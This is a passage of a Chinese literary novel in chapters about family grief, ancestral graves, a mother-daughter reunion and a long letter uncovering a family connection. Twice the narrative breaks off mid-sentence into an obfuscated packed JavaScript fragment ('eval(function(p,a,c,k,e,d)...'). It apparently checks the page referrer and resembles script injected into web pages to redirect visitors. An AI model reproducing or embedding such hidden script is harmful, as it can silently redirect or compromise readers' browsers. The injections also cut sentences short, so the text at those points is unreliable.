俞兆萍是在这时期认识的梁烈。她被退婚后,一直受流言蜚语困扰,每天强打着精神工作。她个性强,遇事会立马反击,同事也排挤她。那天,她因为有事耽搁,下班比往常迟了好久。偏偏是大雨天,她求快,就走了储蓄所后面预制板厂的小路,推着自行车拐进去,就遇到了几个社会青年。对方拦她的车,她本就急躁,破口大骂。在对方要动手时,梁烈从厂子里跑出来,给她解了围。 俞兆萍很感激这个个子高大、又有正义感的青年。那时不知怎么了,她每天下班都会推着自行车去预制板厂坐着等梁烈,可见到人了,她又不好意思,和他说几句话了,又推着自行车匆忙走了。梁烈总会把她送到大路上,看她走远才放心回厂。 梁烈一直在找小云,偶尔对俞兆萍提起来。俞兆萍问他:“别人都说她去南方了,她去南方也不来这边找你,也许是她想到南方工作生活呢?”梁烈只是回她:“她真去南方工作了也好,她过得好就行,我不是纠缠的人。可谁知道外人是不是瞎说呢?她安不安全呢?你要是有朋友杳无音信,你会明白我的心思的。” 这时俞兆萍想起小妹,她有怨,但她有时也是担心妹妹的。梁烈的话让她愈发欣赏他、尊敬他。她勇敢地追求起他来。后来,他们顺利结了婚,家里并没有她预想的反对。也许出了小妹的事后,父母对他们姐妹再没有什么要求,只求她们平安就好。 婚后,梁烈先是跟着姑父跑运输,后来慢慢有了自己的车队,日子越过越好。俞兆萍对自己的日子是很满意知足的。这一切对她来说,来之不易——让她从因为小妹差点走不出来的“无妄之灾”中脱身。 梁烈豪赌输光家产那年,俞兆萍没有崩溃。她相信他只是一时迷了心窍,始终记得他平时对自己的好。梁烈躲债跑了,烂摊子甩给俞兆萍,娘家跟着她一起吃了不少苦头。债主天天上单位闹事,俞兆萍被迫辞了工作,就算抵押了房子,也只是杯水车薪;女儿梁悦刚去外地上大学,家里突遭变故让她大受打击,生活费后来全靠姨妈接济;俞鸿雁帮着给因生活变故沉迷游戏、厌学的梁挥找愿意接收他的学校;小绿楼被泼满“欠债还钱”的红漆,刚洗干净,转头又有人来泼——本已退休安享晚年的娘家父母,硬是躲到外地姨父家避了三年。 这个家到底给俞兆萍带来了什么?她不知道。家让她有恨、有怨,又依赖。她知道父母没有亏待她,大姐也是真心待她好,可她心里太苦了。或许,她被困在了小妹离家的那一年,只是她以为她早就逃脱了。 俞母用力把手从俞兆萍的手里抽出来,紧紧抓住她的双手,声音颤抖着说:“萍伢,你不怄额!怪我,都怪我!是我当年要面子,嫌折人,没有坚持找丹丹,不是你们的错!” 俞兆萍用力把手挤出来,别过脸不愿看母亲,她默默擦着泪。 俞母带着哭腔说道:“萍伢,你爸爸给你取名‘兆萍’,不是顺口说不叫‘腊梅’叫‘兆萍’。是因为他工作上有位成就卓越的老前辈,名字里带‘萍’字,他想你将来也能有本事!生丹丹时,我晓得我的身体,这是最后一个伢,我想生儿子伢。我要你爸爸照儿子伢名取,要是丹丹是男伢,应该是叫‘舟舟’的啊……” “丹伢是没有桨的舟,漂了几十年找不到岸,我对不起她,对不起你们!你不要怨她,也不要怨自己了!”俞母哭出声来。 俞兆萍抱住母亲的肩头痛哭。她不知道是哭什么——为自己这游萍般的宿命,还是为小妹这无桨的孤舟?她只知道,她终于可以没有负担地痛哭一场。 乡下农田里在大面积烧秸秆,烟灰味飘了过来。梁挥在清理外公墓前的杂草,俞丹芳跪拜完起身,俞鸿雁轻轻拍了妹妹的肩,给她递过纸巾。 有指甲盖大小的黑色碎片轻轻飘下来,落到俞丹芳胸前的鸟巢胸针里,盖住了那三颗小珍珠。是烧桔杆的灰片,像是她记忆中俞家小绿楼院里栀子花开满时吸引来的大黑蝶的残翅。 26. 朝露 石唯原计划中秋节后去外地工作,结果赶上了渡口村集体迁墓。她的母亲胡允华已经去了梁溪石植那边帮忙;父亲石磊在黔南的老友开了蓝莓农园,邀他去散心,已经去了好一阵子。迁墓的事情来得匆匆,通知下来,不给人喘气的空当。 石唯联系了外公外婆,并同舅舅讲了这件事。 去渡口村纪念堂取回太外公的骨灰已是下午。石唯照常俗在门前远处点了香,放了一小架鞭炮。她抱着用崭新红布包好的骨灰盒,坐在堂屋八角桌前。太外公的骨灰是最后一位被接走的,像自己最后还留在胡家祖屋一样。香案上,淡黄色的梦香兰开了一小支。石唯走过去,擦了擦香案台,上了香,敬家神。 舅舅胡建中晚上赶到家的,是坐高铁回来的。石唯正要给他准备房间床铺,舅舅却推说不用麻烦,他住不惯家里。他拜过家神,和石唯交待完事情后,去了附近的酒店住宿。 夜里,石唯怎么也睡不着。她想胡爹爹和尕尕(外公外婆),又想舅舅这次回来得匆忙,忘了染头发。那白头发和母亲胡允华很像,银色的,剪不完藏不住。 第二天,阿姨胡敏中也过来了。舅舅决定,不把石唯太外公的墓迁去几十公里外的“江河故园”,就在前门不远处沿河高坡地修墓,再找工人修条路出来。这样也算是有个码头,方便后人下去拜祭。胡敏中要出钱,被胡建中否了。他说自己是男孙,一切费用理应由他承担。两人接着聊了下父母亲的身体和生活。之后,胡敏中便接弟弟和侄女石唯,去她家吃了顿饭。 修墓的事很快就完成了,码头和路都修得很好。胡建中去花市采购了不少绿植花草,石唯在墓前做了个小花境。最后,两人一起去了老街置办齐锡纸、香烛和鞭炮,拜祭完后,这事算是圆满结束了。 临行前一天,舅舅在祖屋过夜,被蜈蚣咬了。第二天清早,石唯叫了车送他去医院。 “我就说不在家里住吧,居然有蜈蚣!”胡建中苦笑道。 石唯笑起来:“舅舅,老房子肯定会有虫蚁的。别说蜈蚣,你是不晓得,黄鼠狼从天井亚克力雨棚的缝隙钻进来偷鸡蛋,都被我撞见了好几回呢!我只要忘记关饭厅的门,这伙计半夜准溜进厨房。” “你这孩子,这几年怎么沉住气在祖屋住下去的?”舅舅放松下来,笑道。 石唯回道:“家里挺好的呀。我在这随着胡爹爹和尕尕长大的,怎么也住得惯。环境也好,除了夏天蚊子多,没啥不好的。”说着又大笑起来,“际航不是从小就说,老家前面的草坪和花植好,说咱们这是‘豪宅花园’来着吗?” 胡建中也大笑起来,说道:“这小子就是能说,太夸张了。” “小唯,这次多谢你了。我回来晚了些,还麻烦你去取的骨灰。家里的琐事你也操了不少心。”胡建中轻声说道。 “没关系,应该的。我是胡家养大的,我也是胡家的人呐。” “我是说,你要多操心你自己,多为自己考虑。过去的事,别给自己太多负累,负重前行走不动的。有事要同家里讲,一家人么,遇到问题寻求帮助再正常不过,别想着自己苦撑。人是争不过命,但人能抓住家人的手——能抓多久、能有多紧,是看天;但去伸手解怨,是看自己的。”胡建中拍了拍石唯的肩。 “舅舅,我晓得的。”石唯点点头。 “嗯,我不多说了。年纪大了说教味重,惹人嫌的,你两个弟弟嫌弃死我了。”胡建中笑笑,“不过,我是一直按自己的意愿生活,年轻时也没怎么理睬你胡爹爹的期待。我后来发觉啊,违背自己的想法过省事的日子,还是会心不甘情不愿,最后还是要走自己想走的路。所以,我也不担心你了。你是年轻人,时间和未来都在你那边,我想你会走上你想走的路。就是……这老房子的蜈蚣,也太吓人了啊!” 石唯被舅舅这“吓人的蜈蚣”逗笑了。 送舅舅返程没几天,阿姨胡敏中做了个小手术,石唯去医院照顾了两天。胡敏中一直觉得麻烦了她,很不好意思。 石唯提起在祖屋整理旧书,翻出来阿姨一张旧照片。照片里,胡敏中穿着一件时髦的白色开衫毛衣,正和诸葛亮塑像合照。 “是你妈妈给我织的。她买了日本毛衣书,她可是织毛衣的好手。我念大学时,她给我织了好多漂亮毛衣。”胡敏中笑笑。 石唯低头给阿姨剥栗子,也笑道:“和诸葛亮合照的阿姨,果然后来去教书了。” “这都是三十几年前的事了。你妈妈常说人生短暂得很呢。” 住院这两天,胡敏中和石唯说了不少体己话。她有老观念,担心石唯的婚事,怕她总是一个人,怕她年老了会孤寂。石唯轻轻抱了抱阿姨:“我知道您是关心我的,我晓得你对我的好。” “小唯,我只能从我的经验说。结婚总有结婚的好处,我只是想你过得容易些。不过,人总是会孤寂的。”胡敏中握紧石唯的手,“不管怎样,希望你开心。你妈说话难听,你就左耳进右耳出。很多事情不是你的错,也不是她的错,做人其实很难控制什么、把握什么。”她笑了笑。“唉哟,我这样说好像又不是要劝你成家一样。你们孩子们过得好就好,我们那时候,比你们还是容易些。” 石唯是在医院碰到肖纶的,她的孩子得了流感在打针。石唯蹲下身,和肖纶的宝宝说了几句话。小宝宝精神不太好,喊了声“姨姨”就闹睡了,肖纶便把孩子抱腿上,轻轻拍着哄。 “我好久没去娘家了,你最近怎么样?我妈说你要出去外地工作,怎么还没走?”肖纶问道。 石唯回道:“我挺好的。阿姨做了个小手术,我在医院照顾了两晚。家里杂事也快忙完了,这都立冬了,我也快出去了。” “你也真是的,天越来越冷了,怎么不过完年了再走。算了,也是,只有人等工作,哪有工作等人的!”肖纶说着,突然提高声音道,“对了,石头,我上次办事路过樟林路那边,就是我们学校那边,看见那边公墓搬迁了。” 石唯不解:“轮子,最近应该是墓地集中搬迁,渡口村那边也是搬了。前些天我舅舅还专程回来了一趟。我外公外婆都快九十了,这次就没回来操心这事。你怎么突然提樟林路?和咱们不相干的。” “渡口村迁墓的事我知道,我妈同我讲过了。”肖纶瞪大眼睛压低声音,“我是说,我在樟林路那边,碰到陈明良的爸妈了。你一直不知道明良的墓地在哪儿,谁知道……离咱们母校那么近。” “你同他爸妈打招呼了吗?”石唯沉默了一会儿,小声问道。 “哪里敢啊!我都没敢让他们看见,不然他们多伤心啊。我有了孩子之后,根本不敢想这种事……”肖纶无奈地说,“不过,石头,那边全部都是搬去‘江河故园’的。我知道你这些年一直都挂记明良,你不是高考前还遇到他爸爸了吗?” 那天下午,石唯漫无目的地去医院附近的商场逛着。周末的商场里孩子很多,她静静地坐在一旁,隔着栏杆看着室内游乐场里的孩子们跑啊、跳啊、闹啊。看了许久,她起身走进一家玩具店,买了个毛绒绒的企鹅小公仔。 又是多梦的、珊瑚色的夜,像在海底翻滚。醒来,已记不清楚梦的内容。 石唯很早起了床。院子里那盆“雁风万里”大菊开了,很美的橘色。她收拾好东西,出了门。 “江河故园”很远。沿江的路,湿冷的风,无人的大堤上,石唯将电动车骑得飞快。她想,自己很快又会得流感了,连续五年,换季就得,从没逃掉过。 她很快就找到了明良的墓碑。明良喜欢向日葵,墓前是崭新的两篮仿真向日葵花。 这天有露水,墓碑湿湿的。石唯将那盆“雁风万里”大菊,和那个用玻璃纸包好、扎上了海蓝色蝴蝶结丝带的企鹅公仔,一起摆在了墓前。 石唯想起,明良是那年夏天走的,连当年生日都没过。 明良喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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石植问了石唯太外公迁墓的事。石唯想,这一定是母亲胡允华让问的,便把情况告诉了姐姐,也提了阿姨手术的事。石植说会和母亲说,等她们通完话,就打电话问候阿姨。 从姐姐口中,石唯得知胡允华染了一头紫发,她不禁轻松地笑起来。原来。胡允华见石植客户的太太总染紫发,了解到紫发褪色后会显得白发不那么难看,便大胆尝试了。倒是石植劝母亲三思,反被母亲揶揄是“思想保守的年青年人”。石植头发也白了很多,她笑道自己一直不敢尝试太热烈的色彩。石唯为母亲感到高兴——和姐姐在一起,她更自在、更自由了。姐妹俩笑着结束了通话。 石唯刚想起身,见眼前一片星星点点的萤光——早上有露水,大堤上匍匐着一片片节节草,每根细草都沾着滴滴小水珠,在阳光下亮闪闪的。她觉得自己被温柔的烛火包裹着。 她以前来过这边等日出,朝着江的方向。方向不对,云变成温柔的珊瑚色,她没有看到太阳。原来,太阳在另一面,照着草堤,非常温暖。 也有过一些时刻: 焦虑最严重的时候,石唯像突然从石头里蹦出来的人一样,隔在了他人生活的世界之外。 渡口村房子斜对面棋牌室,是彻夜打牌的喧闹人群;门外路灯修好后,多了晚上散步的人;立夏以后,窗外有整夜的虫鸣。那时,她爸妈在各自的房间唱自己喜欢的歌自娱自乐,家里被打扫得好干净,养的的乌龟喜欢躲在水缸角落,香案上的月季该换了——这些,好像都与她无关。 她说她有病,胡允华回她“难道是神经病吗?” 她说她觉得人生没有什么意思,胡允华回她:“人生本来就是没有意思的,活着不用找意义。” “就这样生活着就好了。”胡允华说罢,继续她的唱歌时刻。 石唯突然想起了这些时刻,很多时刻。 离开途中,仍旧是一路江风。 接下来会得流感吧?会的。流感会让她虚弱,虚弱总让她自省;时间会让她解怨。而她最珍惜的是:她可以爱人。 27. 信 杨锦姿接手灯厂后一直比较顺利,厂子里订单也很稳定。她在九月接到了之前合作马赛克玻璃台灯的客户询单,对方问她能不能做马赛克玻璃屏风挂画。之后,她和先前岭南的几个厂子联络,都不太满意,于是又联系了石唯,给她发了邮件。 石唯给杨锦姿推荐了晋兴相熟的一家厂子,杨锦姿过去看了,后续也一直在沟通。 事情有转机是在十一假期。杨锦姿去了润州母亲那边,陪母亲过中秋节。她外公的侄子——也就是她表舅,恰巧是做玻璃工艺品外贸的。她得到了他的帮助,顺利接下了那批圣诞玻璃屏风挂画的单子。因为这批订单,杨锦姿在江城和润州来回跑,也和母亲有了难得的相处时光。 杨锦姿发邮件向石唯表达了感谢,给她准备了一份润州那边特色小店包装精美的曲奇礼盒,放在杨树奇店里,托她带给石唯。 十一月底,杨锦姿的两批订单都赶工完成了。她给自己放了个假,再次前往润州母亲那边。杨锦姿外公和外婆住在润州乡下祖屋,与外公的弟弟一家同住——老人们互相照应,外公很珍惜晚年来之不易的手足重聚。 杨锦姿的母亲杨□□退休后,一直住在中学老校区家属院——那是上世纪的房子,外墙是美丽有秩序的水泥花窗格。杨锦姿探望过外公外婆后,便一直住在母亲家。 杨锦姿十岁那年,杨□□终于离开了杨锦姿的父亲,随父母亲前往润州。在父亲亲戚帮助下,她进了一所私立学校教物理——她曾在复州的高中教书,生下杨锦姿后,便中断了工作。 大多时候,杨□□在书房看书,杨锦姿只是放松地躺在摇椅上,望着母亲的背影。杨□□的书桌上摆着和女儿的合照:照片里的杨锦姿才三岁,穿着带红色帽子和白色大肩领的毛衣,毛衣上的图案是母鸡带着小鸡在栅栏里啄米吃。杨锦姿的爸爸喜欢摄影,买了相机就爱给家人拍照。那晚花园酒店有灯会,好多人家携孩子去看热闹,杨父便在光彩夺目的孔雀开屏灯前,给妻子和女儿拍下了这张合照。 杨锦姿看向窗那边,窗台的文竹养得很好,枝叶重重地垂下来,像孔雀尾巴。风吹进来,吹动了母亲的头发——她的发依旧是黑色的柔软的,像记忆里那样,自己小时候睡觉总要抓住她的长头发才有安全感。杨锦姿记得,母亲从来没恼过,任由她这小人儿折腾着头发,听她哼哼唧唧地吵着,再温柔地讲故事哄她睡觉。她望着母亲的背影,目光又落到那个相框上。 “妈,我小时候,你给我织了不少毛衣吧?我在家里老照片里看到过。”杨锦姿躺着,轻轻划拉着双脚,躺椅摇啊摇——她现在,正摇到“母亲桥”。 “嗯……”杨□□专注地盯着电脑屏幕,又侧过头来,“啊,毛衣吗?对哦。那个时候没继续上班,闲着没事。市面上都是新引进的日本编织书,你爸爸给我买了本《东京之花·编织系列·来自古手川祐子的问候》。他说我的笑容像封面女演员,不过我觉得,只有兔牙像。那时候是真被困在家里,没事做,就给全家织了不少毛衣。” 杨锦姿的脚停下来,她从躺椅上起身坐好,说道:“我爸不是人……我记得他每次动手的样子。你走后,他把你的相片全撕了,还把我的相册里和你的合照都撕烂了。他说,相片啊、回忆啊,都是最没用的东西。 杨□□把鼠标往前推到一边,转过身,认真地看着女儿,说道:“不是你的错。是我们大人不好,妈妈没有保护好你。”她低下头,沉默片刻,又抬起头说:“我当初没有能力带走你,但是我真是受不了那种生活了,我只想健康地活下去,健康地爱你、爱你外公外婆。对不起!” “妈,没关系。我没有怪你,这也不是你的错。我都快三十岁了,真的没关系。”杨锦姿努力对母亲笑了笑。 “就算快一百岁,受过的苦也都是真的。是大人没有保护好你,对不起你。”杨□□很悲伤。 杨锦姿勉强挤出笑容,又抿住嘴,别过头。控制好情绪后,她走到杨□□身边,从背后轻轻抱住母亲的肩,替她擦眼泪:“妈,那次他打你,你让我闭着眼睛不要看。那天天上有火烧云,后来我在语文课本里学到《火烧云》那一课,真想把书撕了。” “你那时候一定很害怕,是我们让你受委屈了……”杨□□哽咽。 “妈,都过去了。看到你现在过得好,我很开心。对了,你当初带走了那么多照片,后来都把他撕掉了吗?”杨锦姿故作轻松地说。 杨□□转过身,正面抱紧女儿,故作夸张地说:“我才没有他那么粗鲁呢!我是用剪刀剪掉的!” 杨锦姿和母亲一起笑了起来,她再次替妈妈擦掉眼泪。母女相聚的日子总是短暂的,在润州和母亲相伴的一周,她感到很幸福。她知道,母亲在少年时代就喜欢看科幻小说,有着自己的快乐和自由;现在,她很高兴母亲过着平和自足的生活,还是能自由地看她喜爱的科幻小说。 不过,躺在母亲书房摇椅的日子,无意中把记忆里本不相干的经纬线,补齐了一个破洞。 回到江城后,杨锦姿在圣诞节前,去杨树奇店里买冬青和诺贝松装饰屋子。杨树奇告诉她,已经把曲奇礼盒转交给石唯了,石唯还回赠了素点心给她。 石唯在工作室和同事讨论新开发的样品,工作了一段时间,她还算适应。加完班回到住处,她意外发现,随手丢在花盆里的青椒籽竟然冒芽了——这可是冬天!她赶紧把花盆搬进室内。阳台上,“拂晓黎明”小菊开得很好,看着这些花儿,石唯心情更好了。这份好心情,还来自于白天她收到了赵秋寄来的明信片:之前通话了解到赵秋在顺元的工作进展顺利,而她从念书起,就保持着在圣诞季给石唯寄空白明信片的习惯,石唯的生日在十二月。 石唯洗漱完毕,打算再查一下资料、看看行业资讯,为第二天继续修改小样做参考。这时,她收到了一份邮件。 “石唯: 谢谢你送的点心,包装盒子很漂亮。点心很好吃,不甜。我上次给你的曲奇很甜,我想你会很喜欢。 虽然没和晋兴的厂子合作成,还是多谢你毫无保留的分享。我在润州那边的亲戚帮了忙,订单很顺利。 对于你,我并没有什么浓烈的情绪。我们本身是两个陌生人,也是平等的两个个体。我现在找到让自己放松和自由那一角,和润州的亲人在一起很幸福,希望你也能开心自在地生活。 我妈最近在看关于时空战争的科幻小说,我在她的书房待着很安心。当然,也是因为她的书房,才有了这封邮件,我想也许该让你知道。 我们第二次在一起吃饭说笑,我逗你说你喜欢的会不会是我。如果你先遇到的是我,我们能不能成为朋友我不敢说,但我可比梁挥有魅力多了!哈哈,这是笑话了。 在我母亲的童年,我的外公总给她讲《三侠五义》的故事。后来到了我小时候,妈妈总讲同样的故事给我听,直到十二岁。我十二岁以后,自己反复翻书看了好多遍《三侠五义》。 我外公的生父是江州人,家就在南障山下,是军队的文官。后来他和妻子随军去了对岸,也不知道当时是怎样的混乱状况,把还是幼童的我外公托给友人暂时照料。世事无常,我外公后来一生都没有再见过亲生父母。太公的友人——也就是我外公的养父,他在江城时,有次逃命躲在了乡下一户残破农家的后院,那家男人是复州人,男女主人看到他很慌张。他用微弱的声音求救,说他还有个孩子,他想活下去。女主人也是从润州一路逃难到江城后认识了男主人,俩人在乱世里互相依靠。他们看我外公的养父腹部受伤,还是动了恻隐之心。那时候的每一个人,都是苦命人。他们藏住了他,他后续在那边养伤。伤好后,他对那户人家冒着风险救他的行为无限感激,把自己家里祖传的医书送给夫妇二人,是一本治蛇伤的医书。他告诉夫妇二人,江南地区蛇类也许和鄂地有所不同,但这本书除了江南地区常见蛇类,还有全国各地的蛇类咬伤记载。救命之恩永不会忘,能力有限,只有这本家传的蛇伤药书可赠,希望这书里的药方能帮夫妇二人更好地在乱世生活下去。外公的养父辗转带着外公回了润州,在之后娶妻生了三子女,外公从此有了养母和兄弟姐妹。养父后来在困难年代为了省口粮给孩子们,饿死了。 外公念书很好,他考学去了京城学物理。在后来的社会变动中,他在邻校认识的、交往后一起组建家庭的妻子,也就是我的外婆,对他不离不弃。那时,外公是个很有文锐气的青年,别人说他不懂变通,外婆却欣赏他沉稳正直有礼貌,何况他说话也是轻声细语,个子还特别高,人那么好。 他们回了外婆的老家复州,他不能去润州再拖累善良的养母和幼小的弟妹。外婆家在复州也算是富户,人多势众。外婆想着到了自己乡下老家,也许日子能好过些。 大多时候,人力不敌天势,逃无可逃。很多年后外婆都没有原谅自己的亲友,她是个泼辣又刚烈的人。她当然理解当年是形势所迫,只是,解放前出生的她被父母用心疼爱和支持,让她受教育,这很难得,她接受不了后来亲人的果决割席。 复州多湖泊、河流,多美啊。那年冬天,外公在外回来后,一直在找什么东西,外婆问他,他也没说,就说自己在门口坐一会儿,要她别打扰他。外婆去给他煮面,她到小屋门口喊他时,他已经没了人影。外婆不安地到处跑着找外公,后来在一条田间小路上遇到了浑身湿透的外公。冬天衣服重,人浮起来了。 外公本来在家是要找条绳子,打算挂在桥上套着脖子跳。 “果然没死透。”他自嘲着和外婆说了。 外婆冲上去甩了外公一巴掌:“你这个砍脑壳的,抽筋的,你怎么能想到这一条路!” 外公说外婆当时气到脸扭曲发抖,泄了气一样坐到地上,把手摊开哭起来:“你怎么能寻死?你是怕拖累我?我们连孩子都没有,我知道你怕娃儿来这世道受苦,你今天要是真走了,这世上就只有我一个人了。这世道,凭什么?”外婆哭着嚎着。 外公想着为了美庭(外婆名:田美庭)也要撑下去,撑到上天垂怜,撑到他们能有一个孩子,孩子能在良善的世道活着。他是坚定的唯物主义者,这时候却只能想到虚无的上天。他念书时认识了南洋归国的进步同学,那位同学与他交好,告诉过他自己的信仰。那时他问那位同学:“你是相信上帝一定会保佑你,才如此虔诚吗?”那位同学并不觉得他冒犯,笑着回道:“我是不相信上帝会因为我的信仰就保佑我,我才如此相信上帝。”他当时不理解,那天,他醍醐灌顶。 这段往事我外公多次和我妈妈说起,我妈妈也多次对我提起,她要我做一个坚定善良的人。 因为家庭原因,我在2014年才再次见到外公,那时他70多岁。提起这件往事,他说他选择了和南洋同学一样的信仰。我问他是不是信了神,他说不是,他是选择了自己本身。他说那位踢倒他的石姓前辈很久之前是在剧团工作,文章写得很好,人很平和,不知怎么到了那个位置。但是在那个位置还没坐热,没过三个月因为聚众打牌被处分,那个前辈本来是不打牌的。他被处罚后在中学教国文到退休。我外公还说那位前辈很老派,是个体面人。他很感激那位前辈在当时尽力,这很难得,他跪下来撑过了那漫长一天。 我小时候看电视,看到电视剧里出现一个新角色就喜欢问家里人:“他是坏人还是好人?”其他大人嫌我烦,外公总是慢声细语同我讲人不是只分坏人好人的。那时的我哪里能懂得,只想要一个准确的答案“坏”或“好”。 我外公是个很爱笑,也很爱出门的人,他很爱生活本身,对生活乐观到也许会让人觉得从没有风在他的人生里呼啸过。有人活下来,有人死去,人生短暂得很,寒冰地狱好像也不算长。你知道的,复州的冬天真的很冷很长,我不喜欢复州。 许多年来,我外公和那位前辈并没有来往。他在2004年受润州亲人邀,带着我外婆回到了润州养老。他离开复州的前几天,和外婆在江边那个去江对岸的“雾桥”轮渡口,偶遇了拖着冰柜支着伞棚卖冰棍的那位前辈。前辈已经退休很多年了,还是很和气的样子,人老了许多,微微发胖了些。两人点头致意,没有说话。我外婆开口了,问前辈怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我浏览了这位帖主的所有帖子,从2012年到2018年,之后他不再更新。他记录的都是些生活琐事,颇有意思。我无意窥探别人的生活,却不小心进入了一个陌生人的生活小角落——他的树洞,无人知晓的地方。 有个帖子写了他小时候寄住在各个亲戚家一段时间,没有朋友,会被小朋友欺负,他喜欢小狗,总去开养鸡场的邻居那边摸那家养的小花狗,还专门去村子里的流水宴席捡剩骨头带给小花狗,他成年后最爱的狗还是乡下白黄相间的小土狗;有个帖子写了他去养了几百只鸭子的亲戚家玩儿,看到那人家的八仙桌上用不锈钢盆子装着一盆盆蒸熟的黄色谷物,香喷喷的气味让他忍不住拿了一两粒尝尝,正道着真的太好吃了,结果主人家刚好到堂屋看到了这一幕,他很尴尬于是说道:“哎呀,这个一点也不好吃,就像喂鸭子的东西。”主人回他:“这就是喂鸭子吃的大麦,刚蒸熟。你怎么吃鸭食?”他很羞愧,他还写到他长大后想起这事更羞愧的是:为什么要用贬低大麦来显示自己“高贵”,为什么要贬低鸭食来掩饰尴尬,他最后还总结了——大麦是真的很好吃;还有个帖子写了他喜欢吃的早点店,他一直记得泵站附近的袁镇菜市场里面有个汪汪幼儿园,幼儿园旁边是两家早餐店,一家擅长做肥肠面,汤头很浓,肥肠好吃,另一家热干面的芝麻酱非常香,让他一直难以忘怀,这两家店早就没了。这个帖主的帖子还写了很多他的狼狈时刻,有学生时代早自习迟到被老师罚做俯卧撑、有在学校受了欺负被祖辈责备“为什么别人只欺负你不欺负别人”后他再也没有求助过家人、有在小时候很久没见到的姐姐在见到她后嫌她烦一句话也不跟她讲、有大学假期陪母亲逛街时对和母亲近距离相处的恐惧。 这些内容让我感到亲切,看吃鸭子的大麦口粮那篇帖子我笑了好久。我觉得帖主很像我的同代人,有一种普通生活里的真实气息。我在某个深夜翻我的□□空间里十几年前的内容,也会有同样的感觉,这种遥远又熟悉的生活感。 前段时间在润州,和母亲说起很多往事,我又逛了这个论坛,点进去这个帖子的主页,我是这些年唯一一个关注这帖主账号的人。 直到我翻到了那篇帖子,帖子写的是他和他爷爷没什么缘分,和爷爷最紧密的联系只有自己的名字是爷爷起的,但这个名字并不属于他,是他出生前就定下的,寓意是“唯一”。他并没有和父母生活在一起很久,也没有和爷爷奶奶有什么相处。他也不明白他爷爷教了一辈子书,口碑也好,人也和善,怎么会说自己不是什么好人,是一个很软弱的人。他爷爷在2004年秋天病逝,留下来的遗产是很多书籍,他有位姑妈早逝,爷爷的这些书籍遗产就由剩下的七个子女分了。书籍不值什么钱,有的子女嫌弃又占地方又没什么用,他爸爸不嫌占地方,觉得留下来是个念想,家里小孩要是想看也可以看看,表示如果兄弟姐妹不要那他都要。可是他爸爸说了这话后,有位伯母放话了,要他爸别想了,书就是烂在手里塞去茅坑作厕纸也不给他爸爸,其他兄弟姐妹听到后沉默。他爸爸怒不过,也就是忍着默不作声怒了一下,一本书也不想要了,末了只拿了三本爷爷常翻的书。在他高中毕业后,他爸爸把那三本中的一本送给了他。 我看到帖主发的照片,里面是一本《三侠五义》。 于是我发讯息给我外公,问他当初送人的是不是这个版本的《三侠五义》,他回我当初送人的确是这个老版本,他以为我要收集老版本的书,建议我买新版本,说新版印刷更清晰些,价格更好,没必要淘这种老版本收藏,买书是为了方便看的。 我又看了一眼竹子加问号的帖主的头像,反应过来:《三侠五义》的作者是问竹主人,姓石。 石唯,那次在素食馆,我问你是不是特别相信什么才会拜神,你回我你是因为不信才拜的。我想起了我的外公那时候说他的信仰。后来,我想我明白了你不信的是什么。 至于我,我不信缘分,那我就不惧缘分。我不知道缘分会用怎样意想不到的方式来表现,会不会很离奇;现在我可能会讲,我知道缘分的表现方式非常离奇,也非常折磨人,但我不信缘分,更不惧缘分。 祝你和你的家人健□□活愉快!我想,你对我也会有同样的祝福。”